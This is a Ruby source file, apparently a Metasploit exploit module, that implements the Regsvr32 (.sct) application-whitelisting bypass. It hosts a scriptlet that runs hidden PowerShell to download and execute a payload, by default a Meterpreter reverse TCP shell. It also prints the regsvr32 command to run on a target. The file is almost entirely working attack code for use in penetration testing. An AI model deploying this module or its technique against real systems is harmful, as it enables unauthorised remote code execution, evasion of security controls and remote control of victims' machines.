OJ
97 lines
3.3 KiB
Ruby
97 lines
3.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ManualRanking
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include Msf::Exploit::Powershell
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include Msf::Exploit::Remote::HttpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Server',
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'Description' => %q(
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This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique.
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The module creates a web server that hosts an .sct file. When the user types the provided regsvr32
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command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command.
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This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).
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Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.
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),
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)
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'Trenton Ivey', # MSF Module (kn0)
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],
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'DefaultOptions' =>
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{
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'Payload' => 'windows/meterpreter/reverse_tcp'
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},
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'Targets' => [['PSH', {}]],
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'Platform' => %w(win),
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'Arch' => [ARCH_X86, ARCH_X64],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Apr 19 2016',
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'References' =>
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[
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['URL', 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html']
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]
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))
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end
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def primer
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print_status('Run the following command on the target machine:')
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print_line("regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll")
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end
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def on_request_uri(cli, _request)
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# If the resource request ends with '.sct', serve the .sct file
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# Otherwise, serve the PowerShell payload
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if _request.raw_uri =~ /\.sct$/
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serve_sct_file
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else
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serve_psh_payload
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end
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end
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def serve_sct_file
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print_status("Handling request for the .sct file from #{cli.peerhost}")
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ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
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download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
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download_and_run = "#{ignore_cert}#{download_string}"
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psh_command = generate_psh_command_line(
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noprofile: true,
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windowstyle: 'hidden',
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command: download_and_run
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)
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data = gen_sct_file(psh_command)
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send_response(cli, data, 'Content-Type' => 'text/plain')
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end
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def serve_psh_payload
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print_status("Delivering payload to #{cli.peerhost}")
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data = cmd_psh_payload(payload.encoded,
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payload_instance.arch.first,
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remove_comspec: true,
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use_single_quotes: true
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)
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send_response(cli,data,'Content-Type' => 'application/octet-stream')
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end
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def rand_class_id
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"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
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end
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def gen_sct_file(command)
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%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
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end
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end
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